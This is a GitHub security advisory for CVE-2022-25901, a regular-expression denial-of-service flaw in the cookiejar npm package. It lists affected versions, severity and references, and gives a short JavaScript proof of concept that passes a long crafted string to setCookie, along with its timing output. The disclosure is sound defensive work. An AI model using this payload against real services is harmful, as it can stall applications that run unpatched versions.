GitHub Advisoryadvisory · npm, Maven
GHSA-h452-7996-h45h cookiejar Regular Expression Denial of Service via Cookie.parse function
MEDIUM
Official page ↗
- Aliases
- CVE-2022-25901
- Ecosystem
- npm, Maven
- Packages
- cookiejar, org.webjars.npm:cookiejar
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Weaknesses
- CWE-1333
- Reviewed
- 2023-01-23
Affected packages
• npm cookiejar: < 2.1.4 → fixed in 2.1.4
• Maven org.webjars.npm:cookiejar: <= 2.1.3 (no fix yet)
Description
Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `Cookie.parse` function and other aspects of the API, which use an insecure regular expression for parsing cookie values. Applications could be stalled for extended periods of time if untrusted input is passed to cookie values or attempted to parse from request headers.
Proof of concept:
```
ts\nconst { CookieJar } = require("cookiejar");
const jar = new CookieJar();
const start = performance.now();
const attack = "a" + "t".repeat(50_000);
jar.setCookie(attack);
console.log(`CookieJar.setCookie(): ${performance.now() - start}ms`);
```
```
CookieJar.setCookie(): 2963.214399999939ms
```
Related
Alias · CVE (1)
- CVE-2022-25901 Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse… vulnerability
Weakness · CWE (1)
- CWE-1333 Inefficient Regular Expression Complexity weakness
References
- https://nvd.nist.gov/vuln/detail/CVE-2022-25901 advisory
- https://github.com/bmeck/node-cookiejar/pull/39 web
- https://github.com/bmeck/node-cookiejar/pull/39/commits/eaa00021caf6ae09449dde826108153b578348e5 web
- https://github.com/bmeck/node-cookiejar package
- https://github.com/bmeck/node-cookiejar/blob/master/cookiejar.js#23L73 web
- https://github.com/bmeck/node-cookiejar/blob/master/cookiejar.js%23L73 web
- https://lists.debian.org/debian-lts-announce/2023/09/msg00008.html web
- https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-3176681 web
- https://security.snyk.io/vuln/SNYK-JS-COOKIEJAR-3149984 web